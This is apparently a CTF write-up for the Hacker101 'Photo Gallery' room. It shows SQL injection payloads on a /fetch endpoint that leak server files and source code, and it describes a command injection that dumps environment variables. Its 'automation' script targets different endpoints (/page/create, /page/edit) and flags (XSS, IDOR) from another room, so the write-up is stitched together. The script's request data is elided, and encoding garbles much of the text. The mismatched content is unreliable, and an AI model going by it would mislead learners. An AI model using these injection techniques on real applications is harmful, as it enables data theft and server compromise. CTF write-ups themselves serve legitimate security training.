πΌοΈ CTF Write-up: Photo Gallery (Hacker101)
Intermediate-Level Room | 3 Flags | Hacker101 CTF Walkthrough
π§ Room Overview
"Photo Gallery" is a moderately difficult CTF room on Hacker101. It revolves around image fetch endpoints vulnerable to SQL Injection, environment variable disclosure, and insecure source exposure. Your goal: Capture three flags using a mix of recon, SQLi, and command injection.
Once launched, youβre shown a gallery of three images. Clicking each sends requests to an endpoint like:
/fetch?id=1
,/fetch?id=2
,/fetch?id=3
π Recon and SQL Injection
The third image endpoint /fetch?id=3
throws a server error. This hints at a possible injection point. Testing further:
/fetch?id=4 union select 'uwsgi.ini'
This dumps uwsgi.ini
which reveals the backend runs on Flask with main.py
. Using the same technique:
/fetch?id=4 union select 'main.py'
We successfully extract source code that includes use of subprocess.check_output()
β indicating command execution. Also, the first flag is found in a code comment!
βοΈ Command Injection for More Flags
We notice that `filename` is passed directly to shell. By injecting a crafted filename via SQL update and accessing /fetch?id=3
, we dump environment variables that contain the remaining two flags.
3 flags. 1 SQLi. 1 command injection. π₯

π½οΈ Video Walkthrough
π Python Code to Automate Flag Extraction
from requests import get as get_request, post as post_request
from re import search as search_flag
# Getting CTF URL
ctf_url = f"https://{input('\033[32m[1] Enter your ctf id: \033[0m')}.ctf.hacker101.com"
# Declaring Flags List
FLAGS = []
try:
if get_request(ctf_url).status_code == 200:
print("\033[33m[2] Please wait while we featch all flags.\033[0m")
# Inject XSS and extract flag
FLAGS += [f"^FLAG^{match.group(1)}$FLAG$"] if (match := search_flag(r"\^FLAG\^(.*?)\$FLAG\$", post_request(f'{ctf_url}/page/create', headers={...}, data={...}).text)) else []
# Check homepage XSS flag
FLAGS.append(f'^FLAG^{search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(ctf_url).text).group(1)}$FLAG$')
# SQL Injection Flag
FLAGS.append(get_request(f"{ctf_url}/page/edit/1'").text)
# IDOR Flag
for i in range(1, 10):
if get_request(f'{ctf_url}/page/{i}').status_code == 403:
FLAGS.append(f'^FLAG^{search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f'{ctf_url}/page/edit/{i}').text).group(1)}$FLAG$')
break
except Exception as e:
print(f"\033[31m[3] {str(e)}\033[0m")
print(f"\033[32m[3] Your flags are: {FLAGS}\033[0m")
π Key Takeaways
- SQL Injection isnβt just for databases β it can leak files too.
- Exposed source code often hides command injection vectors.
- Shell injection via SQL UPDATE can reveal sensitive env variables.
- Hacker101 CTFs are perfect playgrounds for real-world web attacks.
π£ Tags
#Hacker101CTF #PhotoGallery #CTFWriteup #SQLi #PythonCTF #CommandInjection #InfoSec #WebExploit #Skillshetra